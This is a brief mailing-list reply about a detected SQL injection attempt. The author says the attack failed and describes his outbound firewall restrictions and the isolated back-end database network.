Re: SQL injection ... another attack

["Maxime Ducharme" <mducharme () cybergeneration com>]

I must first thank everybody who replied,
I received alot of useful information.

This attack have been detected by our home-made
webapp security monitoring tool

How can you tell this worked ? I can ensure
it didnt.

Our firewalls also restrict outbound access,
so IRC communication couldnt work. Our servers
simply does not have Internet access, they
can only reply to opened TCP connection on
port 80.

Database Server is back-end, private IP on separate
VLAN without gateway set in IP config.

Ciao
